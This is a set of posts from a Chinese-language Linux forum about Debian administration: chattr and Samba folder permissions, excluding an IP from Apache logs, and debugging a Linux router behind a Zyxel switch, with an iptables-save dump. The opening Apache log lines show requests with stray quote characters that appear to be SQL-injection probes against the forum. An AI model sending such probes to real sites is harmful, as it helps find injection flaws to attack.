58.61.32.55 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__p__21628 HTTP/1.1" 200 151985 "http://ipb.tw/forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__p__21628" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/forum/11-%E5%81%A5%E5%BA%B7%E7%94%9F%E6%B4%BB/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 102175 "http://ipb.tw/forum/index.php?/forum/11-%E5%81%A5%E5%BA%B7%E7%94%9F%E6%B4%BB/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/ircChat/?s=b9b0d85fb7b4bc835435c0aca4415a6d' HTTP/1.1" 200 101922 "http://ipb.tw/forum/index.php?/ircChat/?s=b9b0d85fb7b4bc835435c0aca4415a6d'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:15 +0800] "GET /forum/index.php?app=forums&forumid=446&i=1?s=eafc57480c55000ae38913632f06bc69&marktype=forum&module=forums&returntoforumid=0&section=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=446&i=1?s=eafc57480c55000ae38913632f06bc69&marktype=forum&module=forums&returntoforumid=0&section=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:11 +0800] "GET /forum/index.php?/topic/18882-%E6%89%8B%E6%A9%9Fnokia2730-%E9%9B%BB%E8%85%A6%E7%AB%AF%E5%A5%97%E4%BB%B6%E5%8C%AF%E5%85%A5csv%E9%80%9A%E8%A8%8A%E9%8C%84/page__view__getnewpost?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 151175 "http://ipb.tw/forum/index.php?/topic/18882-%E6%89%8B%E6%A9%9Fnokia2730-%E9%9B%BB%E8%85%A6%E7%AB%AF%E5%A5%97%E4%BB%B6%E5%8C%AF%E5%85%A5csv%E9%80%9A%E8%A8%8A%E9%8C%84/page__view__getnewpost?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:17 +0800] "GET /forum/index.php?app=core&module=task'&s=54b7797587ff9a5c41c26cf4501f9917 HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=core&module=task'&s=54b7797587ff9a5c41c26cf4501f9917" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:19 +0800] "GET /forum HTTP/1.1" 301 284 "http://ipb.tw/forum" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?app=core&module=search?s=b9b0d85fb7b4bc835435c0aca4415a6d' HTTP/1.1" 200 138677 "http://ipb.tw/forum/index.php?app=core&module=search?s=b9b0d85fb7b4bc835435c0aca4415a6d'" "Mozilla/4.0 (compatible; MSIE 6.0)"
......
......
......

21
是以Samba來作資料夾分享沒錯,資料夾權限也有設定,但即使加了ACL,仍然達不到上述需求.
Thanks.

引用
如何讓資料夾只能新增檔案,不允許覆及刪除

22
OS:Debian 5.0.3

在公司部門需求,每個人需要自行將圖檔.dwg歸檔到特定區域網路分享資料夾test中

在這test資料夾中,每個人只能將自己圖檔copy新增檔案於其中,但若已經有相同檔名則不允許覆蓋,

更不能刪除資料夾中所有檔案.

參考鳥哥網站,有關檔案隱藏屬性 >> http://linux.vbird.org/linux_basic/0220filemanager.php#chattr

引用
[root@www ~]# chattr [+-=][ASacdistu] 檔案或目錄名稱
選項與參數:
+   :增加某一個特殊參數,其他原本存在參數則不動。
-   :移除某一個特殊參數,其他原本存在參數則不動。
=   :設定一定,且僅有後面接的參數

A  :當設定了 A 這個屬性時,若你有存取此檔案(或目錄)時,他的存取時間 atime
     將不會被修改,可避免I/O較慢的機器過度的存取磁碟。這對速度較慢的電腦有幫助
S  :一般檔案是非同步寫入磁碟的(原理請參考第五章sync的說明),如果加上 S 這個
     屬性時,當你進行任何檔案的修改,該更動會『同步』寫入磁碟中。
a  :當設定 a 之後,這個檔案將只能增加資料,而不能刪除也不能修改資料,只有root
     才能設定這個屬性。

c  :這個屬性設定之後,將會自動的將此檔案『壓縮』,在讀取的時候將會自動解壓縮,
     但是在儲存的時候,將會先進行壓縮後再儲存(看來對於大檔案似乎蠻有用的!)
d  :當 dump 程序被執行的時候,設定 d 屬性將可使該檔案(或目錄)不會被 dump 備份
i  :這個 i 可就很厲害了!他可以讓一個檔案『不能被刪除、改名、設定連結也無法
     寫入或新增資料!』對於系統安全性有相當大的助益!只有 root 能設定此屬性
s  :當檔案設定了 s 屬性時,如果這個檔案被刪除,他將會被完全的移除出這個硬碟
     空間,所以如果誤刪了,完全無法救回來了喔!
u  :與 s 相反的,當使用 u 來設定檔案時,如果該檔案被刪除了,則資料內容其實還
     存在磁碟中,可以使用來救援該檔案喔!
注意:屬性設定常見的是 a 與 i 的設定值,而且很多設定值必須要身為 root 才能設定

同時
代碼: [選擇]
#man chattr
引用
ATTRIBUTES
       When a file with the 'A' attribute set is accessed, its atime record is
       not modified.  This avoids a certain amount of disk I/O for laptop sys-
       tems.

       A  file  with the `a' attribute set can only be open in append mode for
       writing.   Only   the   superuser   or   a   process   possessing   the
       CAP_LINUX_IMMUTABLE capability can set or clear this attribute.

似乎也無法達到需求?


測試一下test資料夾
代碼: [選擇]
# chattr +a test
# lsattr
-----a------------- ./test

結果無法copy檔案到test資料夾中?!

How to ?
Thanks.

23
OS:Debian 5.0.x

不寫入access.log
在/etc/apache2/sites-available/default中
可以這樣設定
代碼: [選擇]
.............................
SetEnvIf Remote_Addr "66\.249\.67\." dontlog
............................
.............................
.............................
CustomLog /var/log/apache2/access.log combined env=!dontlog
...................................

但如何讓這信任的IP,也不寫入 error.log
在/etc/apache2/sites-available/default
有這段
代碼: [選擇]
ErrorLog /var/log/apache2/error.log
謝謝.

24
不就踩到地雷阿!,謝謝提醒.

25
先請kenduest 老大消消火...

其實我已經看很多了,這類的新手經常沒頭沒腦的丟問題出來
也沒有很明白的交待一些事情,就想說有沒有人可以幫忙解決問題
我之前看多了,說老實話,也就不大想太認真來看待他們的問題

所以,樓主那台Linux Router我連理都不想理 ..因為除錯的經驗
已經告訴我,問題點可能不在那台Linux Router ...

反而是硬體的問題比較有可能... 所以我之前的回覆已經有提示這一段了
樓主後來的檢查也是指向我的看法 ...

說老實話,這類的問題處理多了, 也覺得沒什麼挑戰性!!

樓主這樣設定IPTables就原諒他吧 , 說老實話 ,論壇裡頭能夠真正瞭解
IPTables設定方法的人,我想不多 , 也數得出來... 因為大部份的人都是一樣
拿個example 來套用能動,就萬事OK了...況且netfilter那五個chain的流程
能搞得清楚的人就算不錯了... 還能指望現在的新手能提供什麼樣的資訊
我想都不敢想... 不指望了!!

我以後的態度大概都是這樣了,對於發文次數不多的人,求救求解答的人
我頂多是給提示,不會參與討論,也不用太認真來看待他們的問題!!


感謝指教,會再更用心學習.

26

請問不通時候,iptables firewall 與 ipv4 forwarding 數值為何?我想是要看這個吧。

還有你 fw 一堆根本不需要的設定,比方為何一堆 INPUT 阻擋限制?你不是在內網測試嗎... (除非你實際網路非如此,你有少交代一些事情)

再者你只是測試 ip forwarding 功能而已,這兩段要通就是單純封包轉送不包含 nat,但是你都設定了... 這樣只會把問題複雜化。

基本上,你不需要有任何 iptables 設定,純 ipv4 forwarding 不需要特別到 iptables 內有其他 rule 設定項目。只要確認 default policy 為 ACCEPT,系統面 ipv4 forwarding 數值為 1,兩個不同網段 gw 都指向 linux 各自連結 ip 即可。

網路問題請應該用單純環境去測試,不要把問題複雜化這樣。

如圖Linux Router有WWW,FTP...等對外服務,所以才會加入很的 INPUT...DROP
這些IP從access.log中觀查出,企圖不友善.

而Linux Router <---|ES-108A|---> PC2 這段是內部網路沒錯,上述iptables是設於Linux Router中

真是抱歉,問題問的太複雜了,應該是這樣問>>>

(Q)請問ES-108A交換器+PC2會因關掉電源重開後,設定會跑掉嗎?

(A)不會,除非硬體,如網卡出了問題.

27
奇怪了....

你不是已經縮小問題區域了嗎?? 還問why ??

天下沒有不會壞的PC 主機,也沒有不會壞的網路線,更沒有不會壞的網路卡!!
當然switch也在內啊.... 搞不好就是那麼巧,swich port要壞不壞....都有可能啊!!

這種非網管的設備,誰知道功能到底是不是正常?

問題解決了,是網卡D-Kink DE-530跟舊電腦問題,改設另一台電腦為Linux Router,設定都一樣

關掉Switch & PC2 ,再重新啟動後, PC2 連內外網路都正常了.

28
就診斷一下吧...
1. 當時候 linux 可以 ping 內與外兩個網段嗎?
2. 當時候 ipv4 forwarding 內容數值是多少有無異動?
3. 當時候 firewall 設定內容為何?iptables-save 輸出寫啥

感謝指引方向:
1. 當時候 linux 可ping到兩網段.
2. 當時候 ipv4 forwarding 內容數值為 1 , 沒改變.
3. iptables-save 輸出如下
引用
# Generated by iptables-save v1.4.2 on Fri Oct  9 07:46:07 2009
*nat
:PREROUTING ACCEPT [4060:227792]
:POSTROUTING ACCEPT [108:6773]
:OUTPUT ACCEPT [62:4045]
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.1.113:80
-A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE
COMMIT
# Completed on Fri Oct  9 07:46:07 2009
# Generated by iptables-save v1.4.2 on Fri Oct  9 07:46:07 2009
*filter
:INPUT ACCEPT [741:49316]
:FORWARD ACCEPT [703:189536]
:OUTPUT ACCEPT [16356:29919566]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED -j ACCEPT
-A INPUT -i eth0 -m iprange --src-range 193.4.0.0-193.4.255.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 202.134.5.0-202.134.5.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 217.97.217.0-217.97.217.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 199.103.56.0-199.103.63.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 88.0.0.0-88.3.212.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 89.188.106.0-89.188.106.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 81.0.0.0-81.255.255.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 219.132.21.192-219.132.21.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 221.138.0.0-221.143.255.255 -j DROP
-A INPUT -s 202.39.77.224/32 -i eth0 -j DROP
-A INPUT -s 67.19.173.32/29 -i eth0 -j DROP
-A INPUT -s 75.126.132.0/27 -i eth0 -j DROP
-A INPUT -s 61.63.4.74/32 -i eth0 -j DROP
-A INPUT -s 67.15.104.5/32 -i eth0 -j DROP
-A INPUT -s 67.225.128.0/17 -i eth0 -j DROP
-A INPUT -s 67.225.128.0/17 -i eth0 -j DROP
-A INPUT -s 209.188.80.0/20 -i eth0 -j DROP
-A INPUT -s 67.19.19.128/29 -i eth0 -j DROP
-A INPUT -s 125.131.116.0/24 -i eth0 -j DROP
-A INPUT -s 59.38.145.0/24 -i eth0 -j DROP
-A INPUT -m state --state ESTABLISHED -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 3 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 3/4 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 4 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 12 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 14 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 16 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 18 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 25 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --sport 53 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --sport 53 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 110 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 443 -j ACCEPT
-A INPUT -i eth1 -j ACCEPT
COMMIT
# Completed on Fri Oct  9 07:46:07 2009

iptables設定係參考 鳥哥 >> http://linux.vbird.org/linux_server/0250simple_firewall.php#local_script

===================================================================================================

Hi,anderson1127 兄

感謝指導,個人會再多多念書,目前是以鳥哥的文件為學習基礎 >> http://linux.vbird.org

當然能否融會貫通,這是最大的問題.

若有前輩能不吝指引方向,相信能學到更多的技巧&經驗.

Thanks.

29
感謝回覆.

所以是這台ES-108A的特性,或者是說故障,(即使新品,也試了不同的port).

鳥哥文中 http://linux.vbird.org/linux_server/0230router.php#route_static

有提到這段

引用
3. 啟動 IP 轉遞
[root@linux ~]# echo "1" > /proc/sys/net/ipv4/ip_forward
# 上述指令如果沒有問題,將他加入 /etc/rc.d/rc.local 當中去!

它不會因 ES-108A 關電源而失效是嗎?

因為訥悶,為何Linux Router重開機後,一切都正常?

Thanks.

30
以交換器來練習區域網路設定

購買交換器 >> 合勤 Zyxel ES-108A >> http://www.zyxel.com.tw/zyxel/product/prod_detail.php?no=0000106

參考鳥哥文章 >> http://linux.vbird.org/linux_server/0230router.php#route_static

設定類似如文中圖示:


發生的問題是:

狀況一.

      如圖中Linux Router + ES-108A + PC2 硬體接妥,設定也ok,但 PC2 ping不到Linux Router

      若 Linux Router重開機後,則PC2可ping到Linux Router


狀況二.
    
      將PC2關機,同時也關掉ES-108A電源後,再重開,PC2 又ping不到Linux Router

      但Linux Router再重開機後,PC2 又可ping到Linux Router

狀況三.

      若是ES-108A電源不關,只重新啟動PC2,PC2可ping到Linux Router.

Why?

Thanks.

頁: [1] 2